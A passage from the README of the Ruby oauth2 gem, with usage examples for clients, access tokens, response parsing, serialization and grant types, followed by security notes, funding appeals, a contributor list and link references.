OAuth2::Response\n```\n\n### Relative `authorize_url` and `token_url` (Not on site root, Just Works!)\n\nIn the above example, the default Authorization URL is `oauth/authorize` and default Access Token URL is `oauth/token`, and, as they are missing a leading `/`, both are relative.\n\n```ruby\nclient = OAuth2::Client.new(\"client_id\", \"client_secret\", site: \"https://example.org/nested/directory/on/your/server\")\n# =\u003e #\u003cOAuth2::Client:0x00000001204c8288 @id=\"client_id\", @secret=\"client_sec...\nclient.auth_code.authorize_url(redirect_uri: \"http://localhost:8080/oauth2/callback\")\n# =\u003e \"https://example.org/nested/directory/on/your/server/oauth/authorize?client_id=client_id\u0026redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth2%2Fcallback\u0026response_type=code\"\n```\n\n### Customize `authorize_url` and `token_url`\n\nYou can specify custom URLs for authorization and access token, and when using a leading `/` they will _not be relative_, as shown below:\n\n```ruby\nclient = OAuth2::Client.new(\n  \"client_id\",\n  \"client_secret\",\n  site: \"https://example.org/nested/directory/on/your/server\",\n  authorize_url: \"/jaunty/authorize/\",\n  token_url: \"/stirrups/access_token\"\n)\n# =\u003e #\u003cOAuth2::Client:0x00000001204c8288 @id=\"client_id\", @secret=\"client_sec...\nclient.auth_code.authorize_url(redirect_uri: \"http://localhost:8080/oauth2/callback\")\n# =\u003e \"https://example.org/jaunty/authorize/?client_id=client_id\u0026redirect_uri=http%3A%2F%2Flocalhost%3A8080%2Foauth2%2Fcallback\u0026response_type=code\"\nclient.class.name\n# =\u003e OAuth2::Client\n```\n\n\u003c/details\u003e\n\n### Advanced Initializers\n\n```ruby\nclient = OAuth2::Client.new(id, secret, site: site) do |faraday|\n  faraday.request(:url_encoded)\n  faraday.adapter(:net_http_persistent)\nend\n```\n\n### AccessToken Features\n\nInstances of `OAuth2::AccessToken` handle request signing and token expiration.\n\n- **Snake Case \u0026 Indifferent Access**: `response.parsed` returns a `SnakyHash` allowing access via string/symbol and snake_case keys even if the provider returns CamelCase.\n- **Auto-Refresh**: You can manually check `token.expired?` and call `token.refresh`.\n- **Serialization**: Persist tokens using `token.to_hash` and restore via `OAuth2::AccessToken.from_hash(client, hash)`.\n\n### snake_case and indifferent access in Response#parsed\n\n```ruby\nresponse = access.get(\"/api/resource\", params: {\"query_foo\" =\u003e \"bar\"})\n# Even if the actual response is CamelCase. it will be made available as snaky:\nJSON.parse(response.body)         # =\u003e {\"accessToken\"=\u003e\"aaaaaaaa\", \"additionalData\"=\u003e\"additional\"}\nresponse.parsed                   # =\u003e {\"access_token\"=\u003e\"aaaaaaaa\", \"additional_data\"=\u003e\"additional\"}\nresponse.parsed.access_token      # =\u003e \"aaaaaaaa\"\nresponse.parsed[:access_token]    # =\u003e \"aaaaaaaa\"\nresponse.parsed.additional_data   # =\u003e \"additional\"\nresponse.parsed[:additional_data] # =\u003e \"additional\"\nresponse.parsed.class.name        # =\u003e SnakyHash::StringKeyed (from snaky_hash gem)\n```\n\n#### Serialization\n\nAs of v2.0.11, if you need to serialize the parsed result, you can!\n\nThere are two ways to do this, globally, or discretely.  The discrete way is recommended.\n\n##### Global Serialization Config\n\nGlobally configure `SnakyHash::StringKeyed` to use the serializer. Put this in your code somewhere reasonable (like an initializer for Rails).\n\n```ruby\nSnakyHash::StringKeyed.class_eval do\n  extend SnakyHash::Serializer\nend\n```\n\n##### Discrete Serialization Config\n\nDiscretely configure a custom Snaky Hash class to use the serializer.\n\n```ruby\nclass MySnakyHash \u003c SnakyHash::StringKeyed\n  # Give this hash class `dump` and `load` abilities!\n  extend SnakyHash::Serializer\nend\n\n# And tell your client to use the custom class in each call:\nclient = OAuth2::Client.new(\"client_id\", \"client_secret\", site: \"https://example.org/oauth2\")\ntoken = client.get_token({snaky_hash_klass: MySnakyHash})\n```\n\n##### Serialization Extensions\n\nThese extensions work regardless of whether you used the global or discrete config above.\n\nThere are a few hacks you may need in your class to support Ruby \u003c 2.4.2 or \u003c 2.6.\nThey are likely not needed if you are on a newer Ruby.\nExpand the examples below, or the [ruby-oauth/snaky_hash](https://gitlab.com/ruby-oauth/snaky_hash) gem,\nor [response_spec.rb](https://github.com/ruby-oauth/oauth2/blob/main/spec/oauth2/response_spec.rb), for more ideas, especially if you need to study the hacks for older Rubies.\n\n\u003cdetails markdown=\"1\"\u003e\n  \u003csummary\u003eSee Examples\u003c/summary\u003e\n\n```ruby\nclass MySnakyHash \u003c SnakyHash::StringKeyed\n  # Give this hash class `dump` and `load` abilities!\n  extend SnakyHash::Serializer\n\n  #### Serialization Extentions\n  #\n  # Act on the non-hash values (including the values of hashes) as they are dumped to JSON\n  # In other words, this retains nested hashes, and only the deepest leaf nodes become bananas.\n  # WARNING: This is a silly example!\n  dump_value_extensions.add(:to_fruit) do |value|\n    \"banana\" # =\u003e Make values \"banana\" on dump\n  end\n\n  # Act on the non-hash values (including the values of hashes) as they are loaded from the JSON dump\n  # In other words, this retains nested hashes, and only the deepest leaf nodes become ***.\n  # WARNING: This is a silly example!\n  load_value_extensions.add(:to_stars) do |value|\n    \"***\" # Turn dumped bananas into *** when they are loaded\n  end\n\n  # Act on the entire hash as it is prepared for dumping to JSON\n  # WARNING: This is a silly example!\n  dump_hash_extensions.add(:to_cheese) do |value|\n    if value.is_a?(Hash)\n      value.transform_keys do |key|\n        split = key.split(\"_\")\n        first_word = split[0]\n        key.sub(first_word, \"cheese\")\n      end\n    else\n      value\n    end\n  end\n\n  # Act on the entire hash as it is loaded from the JSON dump\n  # WARNING: This is a silly example!\n  load_hash_extensions.add(:to_pizza) do |value|\n    if value.is_a?(Hash)\n      res = klass.new\n      value.keys.each_with_object(res) do |key, result|\n        split = key.split(\"_\")\n        last_word = split[-1]\n        new_key = key.sub(last_word, \"pizza\")\n        result[new_key] = value[key]\n      end\n      res\n    else\n      value\n    end\n  end\nend\n```\n\n\u003c/details\u003e\n\n#### Prefer camelCase over snake_case? =\u003e snaky: false\n\n```ruby\nresponse = access.get(\"/api/resource\", params: {\"query_foo\" =\u003e \"bar\"}, snaky: false)\nJSON.parse(response.body)         # =\u003e {\"accessToken\"=\u003e\"aaaaaaaa\", \"additionalData\"=\u003e\"additional\"}\nresponse.parsed                   # =\u003e {\"accessToken\"=\u003e\"aaaaaaaa\", \"additionalData\"=\u003e\"additional\"}\nresponse.parsed[\"accessToken\"]    # =\u003e \"aaaaaaaa\"\nresponse.parsed[\"additionalData\"] # =\u003e \"additional\"\nresponse.parsed.class.name        # =\u003e Hash (just, regular old Hash)\n```\n\n\u003cdetails markdown=\"1\"\u003e\n  \u003csummary\u003eDebugging \u0026 Logging\u003c/summary\u003e\n\nSet an environment variable as per usual (e.g. with [dotenv](https://github.com/bkeepers/dotenv)).\n\n```ruby\n# will log both request and response, including bodies\nENV[\"OAUTH_DEBUG\"] = \"true\"\n```\n\nBy default, debug output will go to `$stdout`. This can be overridden when\ninitializing your OAuth2::Client.\n\nSensitive values are filtered from debug logging output using:\n\n- `OAuth2.config[:filtered_label]`\n- `OAuth2.config[:filtered_debug_keys]`\n\nDebug logging remains opt-in and should still be used cautiously in production environments.\n\n```ruby\nrequire \"oauth2\"\nclient = OAuth2::Client.new(\n  \"client_id\",\n  \"client_secret\",\n  site: \"https://example.org\",\n  logger: Logger.new(\"example.log\", \"weekly\")\n)\n```\n\n\u003c/details\u003e\n\n### Request Target Trust Boundaries\n\nThis gem supports request flows that can involve absolute URLs in addition to relative paths.\nThat flexibility can expand trust boundaries when a token-bearing client is asked to send requests\nto caller-provided targets.\n\nPractical guidance:\n\n- prefer relative paths where practical\n- do not pass untrusted absolute URLs into token-bearing clients\n- validate or allowlist request targets at the application layer today if your deployment has strict trust-boundary requirements\n\nThis release line does not yet enforce same-host or allowlist request policy automatically.\nIf stricter outbound request controls are needed, they should currently be implemented by the calling application.\n\n### OAuth2::Response\n\nThe `AccessToken` methods `#get`, `#post`, `#put` and `#delete` and the generic `#request`\nwill return an instance of the `OAuth2::Response` class.\n\nThis instance contains a `#parsed` method that will parse the response body and\nreturn a Hash-like [`SnakyHash::StringKeyed`](https://gitlab.com/ruby-oauth/snaky_hash/-/blob/main/lib/snaky_hash/string_keyed.rb) if the `Content-Type` is `application/x-www-form-urlencoded` or if\nthe body is a JSON object. It will return an Array if the body is a JSON\narray. Otherwise, it will return the original body string.\n\nThe original response body, headers, and status can be accessed via their\nrespective methods.\n\n### OAuth2::AccessToken\n\nIf you have an existing Access Token for a user, you can initialize an instance\nusing various class methods including the standard new, `from_hash` (if you have\na hash of the values), or `from_kvform` (if you have an\n`application/x-www-form-urlencoded` encoded string of the values).\n\nOptions (since v2.0.x unless noted):\n\n- `expires_latency` (Integer | nil): Seconds to subtract from expires_in when computing #expired? to offset latency.\n- `token_name` (String | Symbol | nil): When multiple token-like fields exist in responses, select the field name to use as the access token (since v2.0.10).\n- `mode` (Symbol | Proc | Hash): Controls how the token is transmitted on requests made via this AccessToken instance.\n  - `:header` — Send as Authorization: Bearer \u003ctoken\u003e header (default and preferred by OAuth 2.1 draft guidance).\n  - `:query` — Send as access_token query parameter (discouraged in general, but required by some providers).\n  - Verb-dependent (since v2.0.15): Provide either:\n    - a `Proc` taking `|verb|` and returning `:header` or `:query`, or\n    - a `Hash` with verb symbols as keys, for example `{get: :query, post: :header, delete: :header}`.\n\nNote: Verb-dependent mode supports providers like Instagram that require query mode for `GET` and header mode for `POST`/`DELETE`\n\n- Verb-dependent mode via `Proc` was added in v2.0.15\n- Verb-dependent mode via `Hash` was added in v2.0.16\n\n### OAuth2::Error\n\nOn 400+ status code responses, an `OAuth2::Error` will be raised.  If it is a\nstandard OAuth2 error response, the body will be parsed and `#code` and `#description` will contain the values provided from the error and\n`error_description` parameters.  The `#response` property of `OAuth2::Error` will\nalways contain the `OAuth2::Response` instance.\n\nIf you do not want an error to be raised, you may use `:raise_errors =\u003e false`\noption on initialization of the client.  In this case the `OAuth2::Response`\ninstance will be returned as usual and on 400+ status code responses, the\nResponse instance will contain the `OAuth2::Error` instance.\n\n### Authorization Grants\n\nCurrently, the Authorization Code, Implicit, Resource Owner Password Credentials, Client Credentials, and Assertion\nauthentication grant types have helper strategy classes that simplify client\nuse. They are available via the [`#auth_code`](https://gitlab.com/ruby-oauth/oauth2/-/blob/main/lib/oauth2/strategy/auth_code.rb),\n[`#implicit`](https://gitlab.com/ruby-oauth/oauth2/-/blob/main/lib/oauth2/strategy/implicit.rb),\n[`#password`](https://gitlab.com/ruby-oauth/oauth2/-/blob/main/lib/oauth2/strategy/password.rb),\n[`#client_credentials`](https://gitlab.com/ruby-oauth/oauth2/-/blob/main/lib/oauth2/strategy/client_credentials.rb), and\n[`#assertion`](https://gitlab.com/ruby-oauth/oauth2/-/blob/main/lib/oauth2/strategy/assertion.rb) methods respectively.\n\n#### OAuth 2.1 (draft) Note:\n\n- **PKCE** is required for all OAuth clients using the authorization code flow (especially public clients). Implement PKCE in your app when required by your provider. See RFC 7636 and RFC 8252.\n- **Implicit grant** (response_type=token) and **Resource Owner Password Credentials grant** are omitted from OAuth 2.1; they remain here for OAuth 2.0 compatibility but should be avoided for new apps.\n- **Redirect URIs** must be compared using exact string matching by the Authorization Server.\n\n\u003cdetails markdown=\"1\"\u003e\n  \u003csummary\u003eOAuth 2.1 (draft) References\u003c/summary\u003e\n\n- OAuth 2.1 draft: https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1-13\n- Aaron Parecki: https://aaronparecki.com/2019/12/12/21/its-time-for-oauth-2-dot-1\n- FusionAuth: https://fusionauth.io/blog/2020/04/15/whats-new-in-oauth-2-1\n- Okta: https://developer.okta.com/blog/2019/12/13/oauth-2-1-how-many-rfcs\n- Video: https://www.youtube.com/watch?v=g_aVPdwBTfw\n- Differences overview: https://fusionauth.io/learn/expert-advice/oauth/differences-between-oauth-2-oauth-2-1/\n\n\u003c/details\u003e\n\nThese aren't full examples, but demonstrative of the differences between usage for each strategy.\n\n```ruby\nauth_url = client.auth_code.authorize_url(redirect_uri: \"http://localhost:8080/oauth/callback\")\naccess = client.auth_code.get_token(\"code_value\", redirect_uri: \"http://localhost:8080/oauth/callback\")\n\nauth_url = client.implicit.authorize_url(redirect_uri: \"http://localhost:8080/oauth/callback\")\n# get the token params in the callback and\naccess = OAuth2::AccessToken.from_kvform(client, query_string)\n\naccess = client.password.get_token(\"username\", \"password\")\n\naccess = client.client_credentials.get_token\n\n# Client Assertion Strategy\n# see: https://tools.ietf.org/html/rfc7523\nclaimset = {\n  iss: \"http://localhost:3001\",\n  aud: \"http://localhost:8080/oauth2/token\",\n  sub: \"me@example.com\",\n  exp: Time.now.utc.to_i + 3600,\n}\nassertion_params = [claimset, \"HS256\", \"secret_key\"]\naccess = client.assertion.get_token(assertion_params)\n\n# The `access` (i.e. access token) is then used like so:\naccess.token # actual access_token string, if you need it somewhere\naccess.get(\"/api/stuff\") # making api calls with access token\n```\n\nIf you want to specify additional headers to be sent out with the\nrequest, add a 'headers' hash under 'params':\n\n```ruby\naccess = client.auth_code.get_token(\"code_value\", redirect_uri: \"http://localhost:8080/oauth/callback\", headers: {\"Some\" =\u003e \"Header\"})\n```\n\nYou can always use the `#request` method on the `OAuth2::Client` instance to make\nrequests for tokens for any Authentication grant type.\n\n## 🦷 FLOSS Funding\n\nWhile ruby-oauth tools are free software and will always be, the project would benefit immensely from some funding.\nRaising a monthly budget of... \"dollars\" would make the project more sustainable.\n\nWe welcome both individual and corporate sponsors! We also offer a\nwide array of funding channels to account for your preferences.\nCurrently, [Open Collective][🖇osc] is our preferred funding platform.\n\n**If you're working in a company that's making significant use of ruby-oauth tools we'd\nappreciate it if you suggest to your company to become a ruby-oauth sponsor.**\n\nYou can support the development of ruby-oauth tools via\n[GitHub Sponsors][🖇sponsor],\n[Liberapay][⛳liberapay],\n[PayPal][🖇paypal],\n[Open Collective][🖇osc]\nand [Tidelift][🏙️entsup-tidelift].\n\n| 📍 NOTE |\n|----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------|\n| If doing a sponsorship in the form of donation is problematic for your company \u003cbr/\u003e from an accounting standpoint, we'd recommend the use of Tidelift, \u003cbr/\u003e where you can get a support-like subscription instead. |\n\n### Open Collective for Individuals\n\nSupport us with a monthly donation and help us continue our activities. [[Become a backer](https://opencollective.com/ruby-oauth#backer)]\n\nNOTE: [kettle-readme-backers][kettle-readme-backers] updates this list every day, automatically.\n\n\u003c!-- OPENCOLLECTIVE-INDIVIDUALS:START --\u003e\nNo backers yet. Be the first!\n\u003c!-- OPENCOLLECTIVE-INDIVIDUALS:END --\u003e\n\n### Open Collective for Organizations\n\nBecome a sponsor and get your logo on our README on GitHub with a link to your site. [[Become a sponsor](https://opencollective.com/ruby-oauth#sponsor)]\n\nNOTE: [kettle-readme-backers][kettle-readme-backers] updates this list every day, automatically.\n\n\u003c!-- OPENCOLLECTIVE-ORGANIZATIONS:START --\u003e\nNo sponsors yet. Be the first!\n\n### Open Collective for Donors\n\n[Bill Woika](https://opencollective.com/bill-woika) [Philipp Ebneter](https://opencollective.com/guest-e77282f7) [Grigoriy](https://opencollective.com/guest-c93e0c48)\n\u003c!-- OPENCOLLECTIVE-ORGANIZATIONS:END --\u003e\n\n[kettle-readme-backers]: https://github.com/ruby-oauth/oauth2/blob/main/bin/kettle-readme-backers\n\n### Another way to support open-source\n\nI’m driven by a passion to foster a thriving open-source community – a space where people can tackle complex problems, no matter how small. Revitalizing libraries that have fallen into disrepair, and building new libraries focused on solving real-world challenges, are my passions. I was recently affected by layoffs, and the tech jobs market is unwelcoming. I’m reaching out here because your support would significantly aid my efforts to provide for my family, and my farm (11 🐔 chickens, 2 🐶 dogs, 3 🐰 rabbits, 8 🐈‍ cats).\n\nIf you work at a company that uses my work, please encourage them to support me as a corporate sponsor. My work on gems you use might show up in `bundle fund`.\n\nI’m developing a new library, [floss_funding][🖇floss-funding-gem], designed to empower open-source developers like myself to get paid for the work we do, in a sustainable way. Please give it a look.\n\n**[Floss-Funding.dev][🖇floss-funding.dev]: 👉️ No network calls. 👉️ No tracking. 👉️ No oversight. 👉️ Minimal crypto hashing. 💡 Easily disabled nags**\n\n[![OpenCollective Backers][🖇osc-backers-i]][🖇osc-backers] [![OpenCollective Sponsors][🖇osc-sponsors-i]][🖇osc-sponsors] [![Sponsor Me on Github][🖇sponsor-img]][🖇sponsor] [![Liberapay Goal Progress][⛳liberapay-img]][⛳liberapay] [![Donate on PayPal][🖇paypal-img]][🖇paypal] [![Buy me a coffee][🖇buyme-small-img]][🖇buyme] [![Donate to my FLOSS efforts at ko-fi.com][🖇kofi-img]][🖇kofi]\n\n## 🔐 Security\n\nSee [SECURITY.md][🔐security].\n\n## 🤝 Contributing\n\nIf you need some ideas of where to help, you could work on adding more code coverage,\nor if it is already 💯 (see [below](#code-coverage)) check [issues][🤝gh-issues] or [PRs][🤝gh-pulls],\nor use the gem and think about how it could be better.\n\nWe [![Keep A Changelog][📗keep-changelog-img]][📗keep-changelog] so if you make changes, remember to update it.\n\nSee [CONTRIBUTING.md][🤝contributing] for more detailed instructions.\n\n### 🚀 Release Instructions\n\nSee [CONTRIBUTING.md][🤝contributing].\n\n### Code Coverage\n\n\u003cdetails markdown=\"1\"\u003e\n\u003csummary\u003eCoverage service badges\u003c/summary\u003e\n\n[![Coverage Graph][🏀codecov-g]][🏀codecov]\n\n[![Coveralls Test Coverage][🏀coveralls-img]][🏀coveralls]\n\n[![QLTY Test Coverage][🏀qlty-covi]][🏀qlty-cov]\n\n\u003c/details\u003e\n\n### 🪇 Code of Conduct\n\nEveryone interacting with this project's codebases, issue trackers,\nchat rooms and mailing lists agrees to follow the [![Contributor Covenant 2.1][🪇conduct-img]][🪇conduct].\n\n## 🌈 Contributors\n\n[![Contributors][🖐contributors-img]][🖐contributors]\n\nMade with [contributors-img][🖐contrib-rocks].\n\nAlso see GitLab Contributors: [https://gitlab.com/ruby-oauth/oauth2/-/graphs/main][🚎contributors-gl]\n\n\u003cdetails markdown=\"1\"\u003e\n \u003csummary\u003e⭐️ Star History\u003c/summary\u003e\n\n\u003ca href=\"https://star-history.com/ruby-oauth/oauth2\u0026Date\"\u003e\n \u003cpicture\u003e\n \u003csource media=\"(prefers-color-scheme: dark)\" srcset=\"https://api.star-history.com/svg?repos=ruby-oauth/oauth2\u0026type=Date\u0026theme=dark\" /\u003e\n \u003csource media=\"(prefers-color-scheme: light)\" srcset=\"https://api.star-history.com/svg?repos=ruby-oauth/oauth2\u0026type=Date\" /\u003e\n \u003cimg alt=\"Star History Chart\" src=\"https://api.star-history.com/svg?repos=ruby-oauth/oauth2\u0026type=Date\" /\u003e\n \u003c/picture\u003e\n\u003c/a\u003e\n\n\u003c/details\u003e\n\n## 📌 Versioning\n\nThis library follows [![Semantic Versioning 2.0.0][📌semver-img]][📌semver] for its public API where practical.\nFor most applications, prefer the [Pessimistic Version Constraint][📌pvc] with two digits of precision.\n\nFor example:\n\n```ruby\nspec.add_dependency(\"oauth2\", \"~\u003e 2.0\")\n```\n\n\u003cdetails markdown=\"1\"\u003e\n\u003csummary\u003e📌 Is \"Platform Support\" part of the public API? More details inside.\u003c/summary\u003e\n\nDropping support for a platform can be a breaking change for affected users.\nIf a release changes supported platforms, it should be called out clearly in the changelog and versioned with that impact in mind.\n\nTo get a better understanding of how SemVer is intended to work over a project's lifetime,\nread this article from the creator of SemVer:\n\n- [\"Major Version Numbers are Not Sacred\"][📌major-versions-not-sacred]\n\n\u003c/details\u003e\n\nSee [CHANGELOG.md][📌changelog] for a list of releases.\n\n## 📄 License\n\nThe gem is available as open source under the terms of\nthe [MIT](MIT.md) [![License: MIT][📄license-img]][📄license-ref].\n\n### © Copyright\n\nSee [LICENSE.md][📄license] for the official copyright notice.\n\n\u003cdetails markdown=\"1\"\u003e\n\u003csummary\u003eCopyright holders\u003c/summary\u003e\n\n- Copyright (c) 2010-2014, 2016-2017 Erik Michaels-Ober\n- Copyright (c) 2010 Jeremy Kemper\n- Copyright (c) 2010-2011 Michael Bleigh\n- Copyright (c) 2010-2011 Paul Walker\n- Copyright (c) 2010 rick\n- Copyright (c) 2010 Tim Habermaas\n- Copyright (c) 2010 Wynn Netherland\n- Copyright (c) 2011 Alexander Lang\n- Copyright (c) 2011 Alexander Lang\n- Copyright (c) 2011 Greg Spurrier\n- Copyright (c) 2011 Jay Adkisson\n- Copyright (c) 2011 Luke Saunders\n- Copyright (c) 2011 Paul Walker\n- Copyright (c) 2011 Simon Gate\n- Copyright (c) 2012 Bas Vodde\n- Copyright (c) 2012 Damian Janowski\n- Copyright (c) 2012 Daniël van de Burgt\n- Copyright (c) 2012 Dorren Chen\n- Copyright (c) 2012 Igor Sales\n- Copyright (c) 2012 Leigh Caplan\n- Copyright (c) 2012 Michael Andrews\n- Copyright (c) 2012 Omer Rauchwerger\n- Copyright (c) 2012 Saverio Trioni\n- Copyright (c) 2012 Trent Ogren\n- Copyright (c) 2012 Vsevolod Romashov\n- Copyright (c) 2013 Antonio Tapiador del Dujo\n- Copyright (c) 2013 Eduardo Gurgel\n- Copyright (c) 2013 Geostellar Developer\n- Copyright (c) 2013-2014, 2018 Niels Ganser\n- Copyright (c) 2013 Rainux Luo\n- Copyright (c) 2013 Taylor Hedberg\n- Copyright (c) 2013 Tim Clem\n- Copyright (c) 2014 Dave Stevens\n- Copyright (c) 2014 Ellis Berner\n- Copyright (c) 2014 Frank Macreery\n- Copyright (c) 2014 Michael Bleigh\n- Copyright (c) 2014 Olivier Lacan\n- Copyright (c) 2014 Peter Souter\n- Copyright (c) 2014 Ryan Williams\n- Copyright (c) 2015 Andrew Cantino and Jeff Moore\n- Copyright (c) 2015 Thomas Walpole\n- Copyright (c) 2016 Bo Jeanes\n- Copyright (c) 2016 Cody Cutrer\n- Copyright (c) 2016 Edward Rudd\n- Copyright (c) 2016 Lawrence Oluyede\n- Copyright (c) 2016 Linus Pettersson\n- Copyright (c) 2016 Motoshi Nishihira\n- Copyright (c) 2017 Adrian Setyadi\n- Copyright (c) 2017-2018 Benjamin Quorning\n- Copyright (c) 2017 Christoph Petschnig\n- Copyright (c) 2017, 2022 Nathaniel Bibler\n- Copyright (c) 2017 Oleg\n- Copyright (c) 2017 Samuel Cochran\n- Copyright (c) 2017 tetsuya\n- Copyright (c) 2017 Yury Velikanau\n- Copyright (c) 2018 Alex Kowalczuk\n- Copyright (c) 2018 asm__\n- Copyright (c) 2018 David Christensen\n- Copyright (c) 2018 fossabot\n- Copyright (c) 2018 Jeff Moore\n- Copyright (c) 2018 Jeff Moore\n- Copyright (c) 2018 Jonathan del Strother\n- Copyright (c) 2018 Joseph Page\n- Copyright (c) 2018 Joseph Page\n- Copyright (c) 2018 Lomey\n- Copyright (c) 2018 Markus Bengts\n- Copyright (c) 2018 Mathias Klippinge\n- Copyright (c) 2018 nikz\n- Copyright (c) 2018-2019, 2021-2022, 2024-2026 Peter H. Boling\n- Copyright (c) 2019 Daniel Fockler\n- Copyright (c) 2019 Elliot Crosby-McCullough\n- Copyright (c) 2019 João Paulo\n- Copyright (c) 2019 Orien Madgwick\n- Copyright (c) 2019 Ryan T. Hosford\n- Copyright (c) 2019 Tom Corley\n- Copyright (c) 2020 anvox\n- Copyright (c) 2020 Jesse Cotton\n- Copyright (c) 2020 Olle Jonsson\n- Copyright (c) 2020 Stephen Reid\n- Copyright (c) 2021 Anders Carling\n- Copyright (c) 2021 dobon\n- Copyright (c) 2021 Jan Zaydowicz\n- Copyright (c) 2021 Nicholas Palaniuk\n- Copyright (c) 2021-2022 Stan Hu\n- Copyright (c) 2022 Benjamin Quorning\n- Copyright (c) 2022 Bouke van der Bijl\n- Copyright (c) 2022 nov\n- Copyright (c) 2022 Rick Selby\n- Copyright (c) 2022 Ryo Takahashi\n- Copyright (c) 2023 Jessie Young\n- Copyright (c) 2023 Карим Гимадеев\n- Copyright (c) 2024 Aboling0\n- Copyright (c) 2024 Elise Wood\n- Copyright (c) 2024 Manuel van Rijn\n- Copyright (c) 2025-2026 Annibelle Boling\n- Copyright (c) 2025 Mark James\n- Copyright (c) 2025 Mridang Agarwalla\n- Copyright (c) 2025 Sasa Rosic\n- Copyright (c) 2026 Jonathan Grinstead\n- Copyright (c) 2026 kain\n- Copyright (c) 2026 Rob Zolkos\n- Copyright (c) 2026 StepSecurity Bot\n\n\u003c/details\u003e\n\n## 🤑 A request for help\n\nMaintainers have teeth and need to pay their dentists.\nAfter getting laid off in an RIF in March, and encountering difficulty finding a new one,\nI began spending most of my time building open source tools.\nI'm hoping to be able to pay for my kids' health insurance this month,\nso if you value the work I am doing, I need your support.\nPlease consider sponsoring me or the project.\n\nTo join the community or get help 👇️ Join the Discord.\n\n[![Live Chat on Discord][✉️discord-invite-img-ftb]][✉️discord-invite]\n\nTo say \"thanks!\" ☝️ Join the Discord or 👇️ send money.\n\n[![Sponsor ruby-oauth/oauth2 on Open Source Collective][🖇osc-all-bottom-img]][🖇osc] 💌 [![Sponsor me on GitHub Sponsors][🖇sponsor-bottom-img]][🖇sponsor] 💌 [![Sponsor me on Liberapay][⛳liberapay-bottom-img]][⛳liberapay] 💌 [![Donate on PayPal][🖇paypal-bottom-img]][🖇paypal]\n\n### Please give the project a star ⭐ ♥.\n\nMany parts of this project are actively managed by a [kettle-jem](https://github.com/structuredmerge/structuredmerge-ruby/tree/main/gems/kettle-jem) smart template utilizing [StructuredMerge.org](https://structuredmerge.org) merge contracts.\n\nThanks for RTFM. ☺️\n\n[⛳liberapay-img]: https://img.shields.io/liberapay/goal/pboling.svg?logo=liberapay\u0026color=a51611\u0026style=flat\n[⛳liberapay-bottom-img]: https://img.shields.io/liberapay/goal/pboling.svg?style=for-the-badge\u0026logo=liberapay\u0026color=a51611\n[⛳liberapay]: https://liberapay.com/pboling/donate\n[🖇osc-all-img]: https://img.shields.io/opencollective/all/ruby-oauth\n[🖇osc-sponsors-img]: https://img.shields.io/opencollective/sponsors/ruby-oauth\n[🖇osc-backers-img]: https://img.shields.io/opencollective/backers/ruby-oauth\n[🖇osc-backers]: https://opencollective.com/ruby-oauth#backer\n[🖇osc-backers-i]: https://opencollective.com/ruby-oauth/backers/badge.svg?style=flat\n[🖇osc-sponsors]: https://opencollective.com/ruby-oauth#sponsor\n[🖇osc-sponsors-i]: https://opencollective.com/ruby-oauth/sponsors/badge.svg?style=flat\n[🖇osc-all-bottom-img]: https://img.shields.io/opencollective/all/ruby-oauth?style=for-the-badge\n[🖇osc-sponsors-bottom-img]: https://img.shields.io/opencollective/sponsors/ruby-oauth?style=for-the-badge\n[🖇osc-backers-bottom-img]: https://img.shields.io/opencollective/backers/ruby-oauth?style=for-the-badge\n[🖇osc]: https://opencollective.com/ruby-oauth\n[🖇sponsor-img]: https://img.shields.io/badge/Sponsor_Me!-pboling.svg?style=social\u0026logo=github\n[🖇sponsor-bottom-img]: https://img.shields.io/badge/Sponsor_Me!-pboling-blue?style=for-the-badge\u0026logo=github\n[🖇sponsor]: https://github.com/sponsors/pboling\n[🖇kofi-img]: https://img.shields.io/badge/ko--fi-%E2%9C%93-a51611.svg?style=flat\n[🖇kofi]: https://ko-fi.com/pboling\n[🖇buyme-small-img]: https://img.shields.io/badge/buy_me_a_coffee-%E2%9C%93-a51611.svg?style=flat\n[🖇buyme-img]: https://img.buymeacoffee.com/button-api/?text=Buy%20me%20a%20latte\u0026emoji=\u0026slug=pboling\u0026button_colour=FFDD00\u0026font_colour=000000\u0026font_family=Cookie\u0026outline_colour=000000\u0026coffee_colour=ffffff\n[🖇buyme]: https://www.buymeacoffee.com/pboling\n[🖇paypal-img]: https://img.shields.io/badge/donate-paypal-a51611.svg?style=flat\u0026logo=paypal\n[🖇paypal-bottom-img]: https://img.shields.io/badge/donate-paypal-a51611.svg?style=for-the-badge\u0026logo=paypal\u0026color=0A0A0A\n[🖇paypal]: https://www.paypal.com/paypalme/peterboling\n[🖇floss-funding.dev]: https://floss-funding.dev\n[🖇floss-funding-gem]: https://github.com/galtzo-floss/floss_funding\n[✉️discord-invite]: https://discord.gg/3qme4XHNKN\n[✉️discord-invite-img-ftb]: https://img.shields.io/discord/1373797679469170758?style=for-the-badge\u0026logo=discord\n[✉️ruby-friends-img]: https://img.shields.io/badge/daily.dev-%F0%9F%92%8E_Ruby_Friends-0A0A0A?style=for-the-badge\u0026logo=dailydotdev\u0026logoColor=white\n[✉️ruby-friends]: https://app.daily.dev/squads/rubyfriends\n\n[✇bundle-group-pattern]: https://gist.github.com/pboling/4564780\n[⛳️gem-namespace]: https://github.com/ruby-oauth/oauth2\n[⛳️namespace-img]: https://img.shields.io/badge/namespace-OAuth2-3C2D2D.svg?style=square\u0026logo=ruby\u0026logoColor=white\n[⛳️gem-name]: https://bestgems.org/gems/oauth2\n[⛳️name-img]: https://img.shields.io/badge/name-oauth2-3C2D2D.svg?style=square\u0026logo=rubygems\u0026logoColor=red\n[⛳️tag-img]: https://img.shields.io/github/tag/ruby-oauth/oauth2.svg\n[⛳️tag]: https://github.com/ruby-oauth/oauth2/releases\n[🚂maint-blog]: http://www.railsbling.com/tags/oauth2\n[🚂maint-blog-img]: https://img.shields.io/badge/blog-railsbling-0093D0.svg?style=for-the-badge\u0026logo=rubyonrails\u0026logoColor=orange\n[🚂maint-contact]: http://www.railsbling.com/contact\n[🚂maint-contact-img]: https://img.shields.io/badge/Contact-Maintainer-0093D0.svg?style=flat\u0026logo=rubyonrails\u0026logoColor=red\n[💖🖇linkedin]: http://www.linkedin.com/in/peterboling\n[💖🖇linkedin-img]: https://img.shields.io/badge/LinkedIn-Profile-0B66C2?style=flat\u0026logo=newjapanprowrestling\n[💖✌️wellfound]: https://wellfound.com/u/peter-boling\n[💖✌️wellfound-img]: https://img.shields.io/badge/peter--boling-orange?style=flat\u0026logo=wellfound\n[💖💲crunchbase]: 